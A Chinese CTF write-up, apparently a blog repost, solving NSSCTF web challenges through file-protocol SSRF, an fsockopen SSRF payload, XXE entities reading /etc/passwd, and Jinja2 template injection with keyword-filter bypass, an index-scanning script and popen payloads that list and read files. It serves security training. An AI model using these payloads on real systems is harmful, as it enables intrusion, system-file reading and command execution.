NSSCTF中24网安培训day2中web题目【下】

news2024/12/23 18:48:15

[NISACTF 2022]easyssrf

这道题目考察的是php伪协议的知识点

首先利用file协议进行flag查找

file:///flag.php                              

 接着我们用file协议继续查找fl4g

file:///fl4g 

接着我们访问此文件,得到php代码如下

这里存在着stristr的函数,以及file_get_contents的函数,我们查找用法

 

最后我们试着用file协议目录遍历的方式读取flag

/ha1x1ux1u.php?file=../../../flag          //../表示跳转到上一级目录,多写../也没有影响,但是少写的话就不能跳转到flag目录

 [HNCTF 2022 WEEK2]ez_ssrf

这道题目考察的知识点是ssrf以及fsockopen函数对ssrf的影响

首先根据题目提示,进入/index.php文件中

代码的作用是通过将传递的参数$data进行base64解码后,将数据发送到指定的主机$host和端口$port,并读取响应数据。这里并没有做任何的过滤。

fsockopen() 函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。

fsockopen函数可以被滥用来触发SSRF攻击,这是因为该函数允许从远程服务器上读取数据并与远程服务器建立连接。攻击者可以使用fsockopen函数来发送恶意请求,例如将远程服务器地址设置为攻击者控制的恶意服务器,然后尝试读取该服务器上的敏感数据或执行任意命令。

然后利用poc构建脚本

<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

上面的host和port都是盲猜出来的,data后面就是一个http的请求伪造 

构造payload如下:

/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo= 

[NCTF 2019]Fake XML cookbook 

这道题目考察的知识点是XML注入

这里放上XML学习的链接浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户

首先我们先进行抓包分析,提示我们提交方式为POST,地址为doLogin.php

那么直接构建我们的恶意的外部实体,实现攻击,先尝试获取/etc/passwd下的文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

 获取成功,我们再获取flag信息

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

[NCTF 2018]flask真香

这道题目考察的知识点是SSTI模板注入

打开题目,发现没有什么提示,猜想是ssti注入,尝试找到ssti注入点并找到模板

我们先尝试用{7*7}进行注入,看看有什么反应

 出现错误界面,接着往下走,输入{{7*7}},发现成功回显7*7的结果

接着继续输入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板

页面回显7777777,证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令

读取 /etc/passwd:http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
执行命令(假设找到 os.system 子类):http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[396]('ls').__call__()}}

下面是常用类与语法: 

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

因此我们尝试用{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} 读取子类

出现了页面错误,说明存在过滤,用fuzz字典爆破过滤内容,发现过滤内容有很多,不是很清楚怎么进一步确定具体的过滤字符,参考别人的wp得知过滤内容如下: 

class            subclasses                      config                                  args
request            open                          eval                                   import

绕过方式: 

1. 基于字符串连接运算符
不同的模板引擎可能支持不同的字符串连接运算符:

 Jinja2 (Python): 可以使用 + 运算符

Twig (PHP): 可以使用 ~ 运算符

ERB (Ruby): 可以使用 + 运算符

jinjia2(py):
{{ 'c' + 'at /etc/passwd' }}

Twig (PHP):
{{ 'c' ~ 'at /etc/passwd' }} 

ERB (Ruby):
<%= 'c' + 'at /etc/passwd' %>

2. 使用内置函数和方法
许多模板引擎提供了处理字符串的内置函数或方法,可以用来拼接字符串:

jinjia2(py):
{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}

Twig (PHP):
{{ ['c', 'at', ' ', '/etc/passwd']|join }}

ERB (Ruby):
<%= ['c', 'at', ' ', '/etc/passwd'].join %>

3. 十六进制或 Unicode 编码
如果某些字符被直接过滤,可以尝试使用十六进制或 Unicode 编码绕过:

jinjia2(py):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}

Twig (PHP):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}

ERB (Ruby):
<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>

这题是有过滤构造payload,首先尝试字符串拼接的方式,因为这题的模版是jinjia2,所以连接符是“+”,构造payload:

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}} 

 

构造payload的基本步骤:
1.获取所有子类(jinjia2)

{{ [].__class__.__base__.__subclasses__() }}

2.查找文件操作类
通过索引访问子类,找到文件操作类:

{{ [].__class__.__base__.__subclasses__()[index] }} 

3.读取文件内容

一旦确定文件操作类的位置,可以读取文件内容:

 {{ [].__class__.__base__.__subclasses__()[index]['__init__'].__globals__['__builtins__']['open']('/etc/passwd').read() }}

4.接下来通常使用查找eval函数或者是os模块来执行我们需要的命令

eval函数与os模块的作用:

eval 函数:

可以直接执行传入的字符串作为代码。因此,找到 eval 函数意味着可以执行任意代码,这通常是最直接和强大的攻击方式。

os模块:

os 模块提供了执行系统命令、文件操作等功能,利用 os 模块可以执行系统命令、读取或写入文件。

 可以用这个脚本找到eval函数的位置,但这题找不到eval

import requests
 
url = input("请输入 URL:")
 
found = False
 
for i in range(500):
    try:
        # 构造 payload
        payload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"
        data = {"name": payload}
        
        # 发送 POST 请求
        response = requests.post(url, data=data)
        
        # 检查响应状态码
        if response.status_code == 200:
            print(f"Response for index {i}: {response.text}")
            # 检查响应内容是否包含 "eval"
            if "eval" in response.text:
                print(f"Found eval at index: {i}")
                found = True
                break  # 找到后退出循环
    except Exception as e:
        print(f"Error at index {i}: {e}")
 
if not found:
    print("Did not find eval in the first 500 subclasses.")

那就换个思路,尝试找os模块 

CTRL+F查找:

我们找每个元素都有的字符 > 

先找到os.wrap_close的位置,在找>即可得知其对应的位置

 找到了它的位置236,可以构造payload验证一下

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()[236]}}

 验证说明正确,找到os模块后可以执行任意系统命令

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[236].__init__.__globals__['pop'+'en']('ls /').read()}}}

爆出flag所在文件位置,接着用cat命令获得即可 

 {{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[236].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

得到flag 

 思路总结: 

  1.首先我们需要判断是ssti注入,并且判断是什么模板

  2.根据相应的模板进行构造payload(获取子类、获取文件操作类、获取文件内容)

  3.接来寻找eval函数和os函数相应的位置并且执行命令

  4.最后构造完整payload

 这道题还需要考虑到过滤,我们还得进行相应方法进行绕过

参考资料: [NCTF 2018]flask真香-CSDN博客

解:[NCTF 2018]flask真香--TLS_预备队任务(1)-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1931276.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AI视频教程下载-ChatGPT速成课程:工作中的ChatGPT入门

使用ChatGPT提升你的生产力&#xff1a;利用OpenAI的革命性ChatGPT模型。 你准备好深入人工智能交流的世界&#xff0c;彻底改变你的职业生涯了吗&#xff1f;本课程适合技术背景和非技术背景的人士&#xff0c;它以独特、有趣且专业的方式&#xff0c;教授如何使用OpenAI的Ch…

【鸿蒙OS】【ArkUI】鸿蒙OS UI布局适配终极攻略

鸿蒙OS UI布局适配终极攻略 像素适配大法&#xff0c;此方法也适合Android ArkUI为开发者提供4种像素单位&#xff0c;框架采用vp为基准数据单位。 vp相当于Android里的dp fp相当于Android里的sp 官方是如何定义的呢,如下图 今天我来教大家如何用PX做到ArkUI的终级适配&…

【python】Pandas 运行报错分析:KeyError: Label not found

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

Docker基本讲解及演示

Docker安装教程 Docker安装教程 1、Docker介绍 Docker是一个开源的应用容器引擎&#xff0c;允许开发者将应用程序及其依赖项打包成一个轻量级、可移植的容器&#xff0c;然后发布到任何支持 Docker 的环境中运行&#xff0c;无论是开发机、测试机还是生产环境。 Docker基于…

CentOS 7 网络配置

如想了解请查看 虚拟机安装CentOS7 第一步&#xff1a;查看虚拟机网络编辑器、查看NAT设置 &#xff08;子网ID&#xff0c;网关IP&#xff09; 第二步&#xff1a;配置VMnet8 IP与DNS 注意事项&#xff1a;子网掩码与默认网关与 第一步 保持一致 第三步&#xff1a;网络配置…

EXCEL VBA工程密码破解 工作表保护破解

这里写目录标题 破解Excel宏工程加密方法一 新建破解宏文件方法二 修改二进制文件 破解工作表保护引用 破解Excel宏工程加密 如图所示 白料数据处理已工程被加密。 方法一 新建破解宏文件 1 创建一个XLSM文件&#xff0c;查看代码 ALTF11 2 新建一个模块&#xff0c;“插…

打包一个自己的Vivado IP核

写在前面 模块复用是逻辑设计人员必须掌握的一个基本功&#xff0c;通过将成熟模块打包成IP核&#xff0c;可实现重复利用&#xff0c;避免重复造轮子&#xff0c;大幅提高我们的开发效率。 接下来将之前设计的串口接收模块和串口发送模块打包成IP核&#xff0c;再分别调用…

Vue+Echarts做图表展示

1.Echarts安装 终端运行安装命令&#xff1a; npm install echarts -s 在main.js做全局引用&#xff1a; //引入echarts import * as echarts from echarts //vue全局注入echarts Vue.prototype.$echarts echarts; 2.页面使用Echarts画柱状图和饼图 效果&#xff1a; 代码展…

Qt各个版本安装的保姆级教程

文章目录 前言Qt简介下载Qt安装包安装Qt找到Qt的快捷方式总结 前言 Qt是一款跨平台的C图形用户界面应用程序开发框架&#xff0c;广泛应用于桌面软件、嵌入式软件、移动应用等领域。Qt的强大之处在于其高度的模块化和丰富的工具集&#xff0c;可以帮助开发者快速、高效地构建出…

esplice老项目(非maven)导入idea问题

解决导入idea显示不正常 老项目导入idea后&#xff0c;显示为如下所示&#xff1a; 显示的不太正常&#xff0c;正常显示为下面这个样子&#xff1a; 解决 非老项目 idea的项目中所有的文件全部变成了.java(已解决) 老项目 以下内容参考&#xff1a;idea导入项目后java文…

阿里云CDN架构技术(一)

CDN补充 cdn内容分发网络&#xff08;content delivery network&#xff0c;cdn&#xff09; 构建在互联网TCP/IP四层模型之上对用户透明的覆盖网。 该网络通过全球范围内分布式部署边缘服务器&#xff0c;将互联网内容从互联网中心缓存到靠近用户的边缘服务器上&#xff0c;…

SymPy,一个可以做数学题的Python库,如何使用SymPy进行微积分计算?

SymPy 是一个 Python 库&#xff0c;用于符号数学。这意味着 SymPy 可以帮助用户执行从基本代数到微积分、方程求解、积分、极限、级数、几何、组合数学、离散数学和量子物理等广泛的数学计算。它允许用户以完全符号化的方式处理数学表达式&#xff0c;而无需将问题转换为数值近…

大模型的“幻觉”克星!被低估的RAG技术

1 RAG与大模型、Prompt、微调的关系 本文主要带大家深入学习一下最近AI领域的重要技术RAG&#xff0c;本文致力于用大白话给大家说明白RAG&#xff0c;但是还是需要一些大模型和微调有关的领域名词有一些基本的了解&#xff0c;大家选择性阅读哦!在进行正文学习之前我们先用一…

Unity Meta Quest 开发:如何在每只手指上添加 Poke 交互

XR 开发社区&#xff1a; SpatialXR社区&#xff1a;完整课程、项目下载、项目孵化宣发、答疑、投融资、专属圈子 找到玩家物体 OVRCameraRig 下的子物体 HandInteractorsRight/Left&#xff08;分别管理左右手的 Interactor&#xff09;下的 HandPokeInteractor 子物体&#x…

Java语言程序设计——篇五

数组 概述数组定义实例展示实战演练 二维数组定义数组元素的使用数组初始化器实战演练&#xff1a;矩阵计算 &#x1f4ab;不规则二维数组实战演练&#xff1a;杨辉三角形 概述 ⚡️数组是相同数据类型的元素集合。各元素是有先后顺序的&#xff0c;它们在内存中按照这个先后顺…

计算机的错误计算(三十三)

摘要 计算机的错误计算&#xff08;三十二&#xff09;展示了 Python的 math库中 exp(x)的计算精度问题。本节讨论 Python 的 torch 库中的 exp(x)的计算精度问题。结果显示&#xff1a;与 math 库中的函数输出值具有同样的错误数字个数。 不妨仍然取&#xff08;二十八&…

华为云.VPC关联概念与对等连接实践

云计算.华为云 VPC关联概念与对等连接实践 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.net/q…

使用SpringCloud搭建分布式配置中心

在现代的分布式系统中&#xff0c;配置管理是一个非常重要的组成部分。传统的做法是将配置文件放在每个服务的本地进行配置&#xff0c;这样的做法在规模较小的系统中还能够接受&#xff0c;但是当系统规模逐渐扩大时&#xff0c;配置管理将变得非常困难&#xff0c;容易出错。…

Autosar Dcm配置-0x28服务ComControl-基于ETAS软件

文章目录 前言DcmDcmDsdDcmDspBswMBswMModeRequestPortBswMModeConditionBswMLogicalExpressionBswMActionBswMActionListBswMRule总结前言 0x28服务主要用来控制非诊断报文的通讯,一般在刷写预编程过程中,用来禁止APP的通信报文,可以减少总线负载率,提高刷写成功率。本文…

vue3-tree-org实现带照片的组织架构图

官方文档&#xff1a;vue3-tree-org 显示照片需要注意的地方 使用步骤 下载 npm install vue3-tree-org --save 在main.js中引入 import "vue3-tree-org/lib/vue3-tree-org.css"; import vue3TreeOrg from vue3-tree-org;app.use(vue3TreeOrg) 实现代码 <tem…